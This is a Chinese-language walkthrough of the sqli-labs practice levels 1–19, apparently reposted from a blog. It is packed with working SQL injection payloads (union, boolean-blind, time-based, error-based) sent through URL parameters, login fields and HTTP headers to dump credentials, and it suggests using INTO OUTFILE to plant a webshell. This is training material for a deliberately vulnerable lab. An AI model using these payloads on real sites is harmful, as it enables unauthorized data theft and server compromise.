sqli-labs 1-19

less-1

注入类型

单引号’ 闭合导致报错,确定为字符型注入

获取表名
1' and 1=2 union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database()--+   #emails,referers,uagents,users
库名
id=2' and 1=2 union select 1,2,database()
列名
id=2' and 1=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23
下载数据
1' and 1=2 union select 1,2,group_concat(user,username,password) from 'users'%23
1' and 1=2 union select 1,group_concat(id,username),group_concat(password) from users--+
在使用concat、group_concat 函数 获取数据库、版本、用户等信息时,需要通过调用函数来引用它们,如version()、database()、user()
1' and extractvalue(1,concat(0x7e,(database()),0x7e))#

知识小记:mysql 中的注释符:
1、# ==>> %23
2、"-- ",注意--后面有一个空格,通常使用 + 号 代替
3、/*...*/

less-2
数字型注入
后续步骤与less-1 差不多

less-3
推测查询语句
'select id,username from table where id=('$id') limit 0,1'
相比起之前1,2题,3题加了括号,绕过时,注意闭合。

d=0') union select 1,group_concat(id),group_concat(email_id) from emails%23
id=0')%20 union select 1,2,concat(0x7e,(database()),0x7e,floor(rand(0)*2))a group by a%23


less-4
字符型注入,id=“id”,使用双引号  "  闭合
推测查询语句
'select id,name from table where id=("$id")'

less-5
字符型注入,id='$id',使用单引号' 闭合导致报错,

查询成功只显示成功标识,利用方式:盲注(布尔、时间、报错注入)
推测查询语句
select id,name from table where id='$id'

bool 注入

当前数据库名
id=0' and updatexml(1,concat(0x7e,(database()),0x7e),1)%23

当前表名个数
id=1' and 4=(select count(table_name) from information_schema.tables where table_schema='security')%23

第一个表的长度
id=1' and 6=(select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)%23

爆破第一个表名
id=1' and 1=(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101)%23         ==>>e
id=1' and 1=(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109)%23         ==>>m
id=1' and 1=(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),3,1))=97)%23           ==>>a
id=1' and 1=(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),4,1))=105)%23          ==>>i
id=1' and 1=(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),5,1))=108)%23          ==>>l
id=1' and 1=(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),6,1))=115)%23          ==>>s

爆破emails 表
爆破列数
payload:
id=1' and 2=(select count(column_name) from information_schema.columns where table_name='emails')%23
列数:2列
爆破字段名长度
id=1' and 2=(select length(column_name) from information_schema.columns where table_name='emails' limit 0,1)%23        #长度为 2
爆破字段名内容
id=1' and 1=(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105)%23     #i
id=1' and 1=(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1))=100)%23     #d
爆破表的内容
id=1' and 1=(substr((select id from emails limit 0,1),1,1)=1)%23      #第一个id为1
后面的内容依次爆破。。。。。


less-6
确定注入类型
存在注入,确定闭合符号为 “
推测语句
select id,name from table where id="$id"
确定查询字段:
id=1" order by 3%23
id=1" union select 1,2,3%23
得到当前数据库名长度为8
id=1" and if((length(database()))=8,sleep(5),1)%23
拆解数据库名
id=1" and if(ascii(substr(database(),1,1))=115,sleep(3),1)%23
id=1" and if(ascii(substr(database(),2,1))=101,sleep(3),1)%23
id=1" and if(ascii(substr(database(),3,1))=99,sleep(3),1)%23
id=1" and if(ascii(substr(database(),4,1))=117,sleep(3),1)%23
。。。。。security
拆解表的个数为4个
id=1" and if((select count(table_name) from information_schema.tables where table_schema='security')=4,sleep(3),1)%23

拆解第一个表名的长度为6
id=1" and if((select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6,sleep(3),1)%23
拆解第一个表名
id=1" and if(
ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97
,sleep(3),1)%23
拆解列数、列名
拆解表的内容

less-7
利用into outfile 命令来导出查询内容
1,拥有 file 权限
检测:and (select count(*) from mysql.user) > 0 --+
2,mysql.ini 配置文件
设置了secure_file_priv= "目录" 变量,指定了导出目录。
当该变量为 NULL 时,不可以导出。
注意:在Mysql中,需要注意路径转义的问题,即用\\分隔。
例如:select * from users into outfile "D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\outfileinfile\\2.txt"
id=1')) union select database(),user(),version() into outfile
"D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\outfileinfile\\2.txt"

当有网站目录路径时,可以利用数据导出,写一句话木马到根目录下,再用菜刀。

less-8
查询错误不返回任何东西,查询准确返回“ you are in ”
此时确定可以使用时间盲注和bool 盲注
确定注入类型
id=1' 出错,无返回。确定为字符型注入
union select 1,count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))a group by a;

less-9
无论输入什么数据都是返回"you are in",相对来说就是没有回显,这时需要用到基于时间的盲注,对查询结果的返回时间来依次拆解数据。
当前数据库名长度
id=1' and if(length(database())=8,sleep(2),1)%23
拆解数据库名
id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),1)%23
表的个数
id=1' and if((select count(table_name) from information_schema.tables where table_schema='security')=4,sleep(5),1)%23

less-10
1,判断注入类型和闭合符号
id=1" and sleep(5)%23 #如果返回有明显延迟,说明and 之前 为 true
2,确定查询字段
127.0.0.1/sqli-labs-master/Less-10/?id=1" union select sleep(5),sleep(5),sleep(5)%23
#当联合查询字段正确时,会运行三个sleep 函数,
3,注入环节
    当前数据库长度---》拆解数据库名
    当前数据库中的表数---》表名长度---》拆解表名
    拆解表格字段(字段个数---》字段长度---》拆解字段名
    拆解内容


less-11
登录用户界面有sql注入,使用burp suite抓包注入。
在passwd字段进行注入
测试注入类型
uname=admin&passwd=1' &submit=Submit #报错,说明为字符型注入,单引号闭合。
uname=admin&passwd=1' or 1=1%23&submit=Submit #登录成功
确定查询字段
uname=admin'and '1'='1&passwd=1' or 1=1 order by 2%23&submit=Submit
uname=admin'and '1'='1&passwd=1' union select 1,2%23&submit=Submit
查询当前数据库名、数据库版本、用户
uname=admin'and '1'='1&passwd=1' union select 1,database()%23&submit=Submit
uname=admin'and '1'='1&passwd=1' union select 1,version()%23&submit=Submit
uname=admin'and '1'='1&passwd=1' union select 1,user()%23&submit=Submit
获取当前数据库中的表名
uname=admin'and '1'='1&passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'%23&submit=Submit
查询users 表中的字段
uname=admin'and '1'='1&passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23&submit=Submit
===》》username\password
获取users表中的信息
uname=admin'and '1'='1&passwd=1' union select group_concat(username),group_concat(password) from users%23&submit=Submit
在uname字段进行注入
以admin身份登录
uname=admin'%23&passwd=&submit=Submit
注入方法和在password字段注入类似。

less-12
字符型注入,使用 ") 闭合

确定字段
uname=123&passwd=123") or 1=1 %23&submit=Submit
uname=123&passwd=123") union select 1,2%23&submit=Submit

当前数据库 security
uname=123&passwd=123") union select 1,database()%23&submit=Submit


less-13
字符型注入,使用 ') 闭合
只有 正确、错误和语法报错 三种回显,可利用 bool、时间注入和报错注入

确定字段
uname=123 &passwd=123') order by 3%23&submit=Submit
uname=123 &passwd=123')union select 1,2%23&submit=Submit

拆解当前数据库长度
(bool型)
uname=123 &passwd=123') or 1=(length(database())=8)%23&submit=Submit
(时间注入)
uname=123 &passwd=123') or if(length(database())=8,sleep(5),1)%23&submit=Submit


less-14
测试用 " 闭合,结果报错,说明是 字符型注入,使用 “ 闭合。
查询结果只有 正确与错误+加语法报错,可使用布尔、时间注入和报错注入

确定查询字段
uname=123&passwd=123" order by 3%23&submit=Submit
uname=123&passwd=123" union select 1,2%23&submit=Submit


less-15
输入正确或错误,只返回这两种情况。可利用bool注入和时间延迟注入。

闭合符:
盲猜闭合符号,在输入的用户名和密码错误的情况下,使用
' or 1=1%23  闭合,来检测闭合符号。
确定闭合符号是 '   的字符型注入

less-16
返回结果只有 正确和错误 两种,此时可利用 时间注入和 布尔 注入

闭合符:
uname=123&passwd=123") or 1=1%23&submit=Submit
使用or 方法 盲拆闭合符,在用户名和密码不正确的情况下,使用 or 关键字,盲猜 闭合符,
闭合符为真时,会返回正确的结果

less-17
此题使用update 语句更改用户密码,返回结果只有登录成功、失败和语法报错,拆解语句为
update table_name set password='passwd' where user_name='uname'

利用思路
可利用报错、时间注入

判断闭合符号
uname=admin&passwd=123'%23&submit=Submit

时间注入
确定表数
123' and if((select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6,sleep(5),0) and '1'='1  

123' and if((select table_name from information_schema.tables where table_schema='security' limit 0,1,sleep(5),0) and '1'='1

报错注入
获取当前数据库及其它信息
uname=admin&passwd=123' and extractvalue(1,concat(0x7e,(database()),0x7e))%23&submit=Submit

获取当前数据库内的表格数
uname=admin&passwd=123' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='security'),0x7e))%23&submit=Submit

获得security数据库中的表格名
uname=admin&passwd=123' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e))%23&submit=Submit
表名:emials、referers、uagents、users

获取表格字段个数及字段名
uname=admin&passwd=123' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))%23&submit=Submit     #3个字段

uname=admin&passwd=123' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e))%23&submit=Submit      #字段  id、username、password

获取表中数据
uname=admin&passwd=123' and extractvalue(1,concat(0x7e,(select username from (select username from users)b limit 0,1),0x7e))%23&submit=Submit

当数据长度大于等于32位时,需使用mid、substring函数截取字符
uname=admin&passwd=123' and extractvalue(1,concat(0x7e,mid((select password from (select password from users)b limit 0,1),32),0x7e))%23&submit=Submit

利用extractvalue 和 updatexml 报错获取数据时,返回的字符串长度不大于32个,此时需要使用mid substring 函数进行字符串截取

坑:
报错: You can't specify target table 'users' for update in FROM clause
来自 <https://skysec.top/2017/07/18/SQLi-LABS(Basic)(Less-1%20~%20Less-22)/>
解决:在update语句中,select时,需要多加一层select

报错:Every derived table must have its own alias,派生出来的表需要有自己的别名
解决:使用as XXX  来为一部分查询结果加一个表名


Less-18
登录成功显示用户的ip和user-agents,else 登录失败,可利用报错、时间注入

推测语句,对第一个参数user-agent 存在注入
('Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0','192.168.0.103','admin')

尝试对第一个参数注入 ‘ => 报错

报错注入:
查询当前数据库信息
User-Agent: 1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1

查询当前数据库中的表格数
User-Agent: 1' and updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

查询数据库名
User-Agent: 1' and updatexml(1,concat(0x7e,(select distinct table_schema from information_schema.tables limit 1,1),0x7e),1) and '1'='1

查询当前数据库信息
User-Agent: 1' and updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1               #表数为4

User-Agent: 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1       #表格名 emails,referers,uagents,users

User-Agent: 1' and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),30,60),0x7e),1) and '1'='1       #获取users 表中的字段,由于updatexml报错限制字符数量,使用mid函数截取其余字符

User-Agent: 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and '1'='1           #查询users表中的字段 id,username,password

#下载users表的数据
User-Agent: 1' and updatexml(1,concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from users limit 0,1),0x7e),1) and '1'='1

~1~Dumb~123451234512345~


时间延迟注入:
在hackbar 里使用 延迟注入
user-agent:1' and if(length(database())=8,sleep(2),1) and '1'='1
post:uname=admin&passwd=123&submit=Submit



1,使用报错注入 用and连接查询语句 User-Agent: 1dddd' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1  时,

报错:Truncated incorrect DOUBLE value:'1asdfae'    ==>> 截断了错误的DOUBLE值

解决:由于"1asdfae" 的逻辑值为假,且使用and 连接 sql语句,导致返回值为第一个,第一个参数的逻辑值改为真
User-Agent: 1' and if(length(database())=8,sleep(5),1) and '1'='1

2,当一个用户输入变量存在sql注入,一般在当前变量中进行注入,不需要去跨变量
    如:$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";   语句

3,concat 和 group_concat 的区别
    concat()  用于连接返回结果为一行数据
    group_concat()  用于连接返回结果为一列的数据



Less-19

页面输出referer内容,抓包对referer进行注入测试
Referer: http://192.168.0.107/sqli-labs-master/Less-19/'    ==>> 报错,存在注入
可利用报错、时间注入

报错注入

获取数据库信息
Referer: 12' and extractvalue(1,concat(0x7e,database(),0x7e)) and '1'='1   #当前数据库名
Referer: 12' and extractvalue(1,concat(0x7e,(select distinct table_schema from information_schema.tables limit 1,1) ,0x7e)) and '1'='1  #全部数据库
Referer: 12' and extractvalue(1,concat(0x7e,(select distinct group_concat(table_name) from information_schema.tables where table_schema='security') ,0x7e)) and '1'='1   #security库中的表名
Referer: 12' and extractvalue(1,concat(0x7e,(select distinct group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') ,0x7e)) and '1'='1   #获取users 表中的字段名
Referer: 12' and extractvalue(1,concat(0x7e,(select concat(id,0x7e,username,0x7e,password,0x7e) from users limit 0,1) ,0x7e)) and '1'='1 #下载user表中的信息


时间注入
Referer: 12' and if(length(database())=8,sleep(5),1) and '1'='1


存在字符型sql注入时,使用 '  号,闭合之前的sql语句后,使用以下两种方式处理闭合后的sql 语句
1,#、%23、--+  注释后面
2,and '1'='1    闭合后面的符号

猜你喜欢

转载自www.cnblogs.com/lmg0/p/12535190.html